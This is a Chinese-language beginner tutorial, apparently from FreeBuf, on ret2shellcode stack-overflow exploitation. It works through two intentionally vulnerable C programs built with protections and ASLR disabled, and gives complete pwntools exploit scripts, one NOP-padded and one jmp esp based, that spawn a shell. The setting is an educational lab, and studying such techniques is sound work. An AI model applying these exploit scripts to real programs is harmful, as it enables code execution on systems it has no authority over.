与ret2shellcode的初相识

0×00 ret2shellcode简介

ret2shellcode,也就是return to shellcode,在执行完某个函数之后,跳到shellcode上,达到get shell的目的。

ret2shellcode关键在于我们找到一个可读可写可执行的缓冲区,接下来把我们的shellcode放到这个缓冲区,然后跳转到我们的shellcode处执行 。

0×01 示例一

先看一个存在栈溢出的c语言程序

#include 
#include 
char str1[0x40];
void func()
{
            char str[0x40];
            read(0,str,0x60);
            strcpy(str1,str);
}
int main()
{
            func();
            return 0;
}

我们可以看到这个程序,str1就是我们找到的那段可读可写可执行的缓冲区,那我们可以写一段shellcode放到str1中,在发生溢出时把返回地址写成str1的地址,那就会执行shellcode。

进行编译

gcc -no-pie -fno-stack-protector -z execstack -m32 -o 6.exe 6.c

注释:

 -no-pie:关闭地址随机化
-fno-stack-protector:没有堆栈保护
-z execstack:堆栈可执行
-m32: 32位

编译完成之后,顺便 checksec 6.exe,接下来查看一下保护机制,

定位溢出点

在func处加个断点,cyclic 200,生成100个随机字符,继续r

继续执行之后,将上面生成的字符串复制进去

再利用cyclic -l taaa ,最终确定溢出点的位置为76

找到str1的首地址

多次单步执行 n ,就可以找到str1的首地址为0x804c060

生成shellcode的方法

方法1:用pwntool或者peda和msfpc或者msfvenom工具生成,支持上线,最好越短越好

例如用pwntool中的shellcraft.sh(),再转汇编字节码asm(),也就是asm(shellcraft.sh()),本例中的exp就使用了这个

方法2:手写,其实网上一搜到处都是,可以直接用,但自己要在windows里面自己调试提取 ,就是想办法调用evecve(“/bin/sh”,null,null);

写exp

from pwn import *
context(arch="i386",os="linux")
p=process('./6.exe')
offset = 76
shellcode=asm(shellcraft.sh())
payload =shellcode.ljust(offset,'\x90')+p32(0x804c060)
p.sendline(payload)
p.interactive()

可以单独看一下payload的写法,因为shellcode的长度不足以达到76,所以剩余的部分用\x90代替,制造一段nop导轨,直接滑到shellcode上去执行

运行一下,get shell!

0×02 用jmp esp构造payload

先看c语言程序:

#include 
#include 
#include 
#include 
#include 
void exploit()
{
    system("/bin/sh");
}
void func()
{
        char str1[0x40];
        read(0,str1,0x80);  
}
int main()
{
        func();
        return 0;
}

大致思路:可以发现在read函数这里会发生溢出,并且代码里有system(”/bin/sh”),那我们让返回地址恰好是system(”/bin/sh”)的地址,就能利用这个溢出

先echo 0 >/proc/sys/kernel/randomize_va_space,关闭内存地址随机化机制,为了保证system(”/bin/sh”)在内存中的地址不发生改变

然后按照与 示例一 一样的方法进行编译,然后start

定位溢出点的方法也一样,可以得到溢出点的位置是76

接下来找 jmp esp的地址,在peda下输入下面的命令:

asmsearch "jmp esp"

找到一个jmp esp的地址

写exp

from pwn import *
context(arch="i386",os="linux")
p=process('./8.exe')
offset = 76
shellcode=asm(shellcraft.sh())   
add_jmpesp=p32(0x080b001f)            //找到的jmp esp的地址
payload ='\x90'*offset+add_jmpesp+shellcode     
p.sendline(payload)
p.interactive()

可以看到我们在构造payload的时候并没有直接到shellcode上去,而是先去执行jmp esp,而此时栈顶恰好就是shellcode的首地址,也就是说执行完jmp esp,再去执行shellocde,这是一种动态定位的方法。如下图,成功运行并get shell!

0×03 总结

1.本文主要描述了ret2shellcode的相关原理和实例,关键的一点还在于我们找到一个可读可写可执行的缓冲区,接下来把我们的shellcode放到这个缓冲区,然后跳转到我们的shellcode上执行

2.两种生成shellcode的方法:

(1)用pwntool或者peda和msfpc或者msfvenom工具生成

(2)自己手写或从网上copy

3.可以用jmp esp构造payload,动态定位shellcode的地址

路虽远,行则至!今天终于在安全主流媒体上发表文章,勇敢的迈出了第一步,信安小白投的第一篇文章献丑了,若有不足之处还请各位大牛多多指出!

*本文作者:h778890,转载请注明来自FreeBuf.COM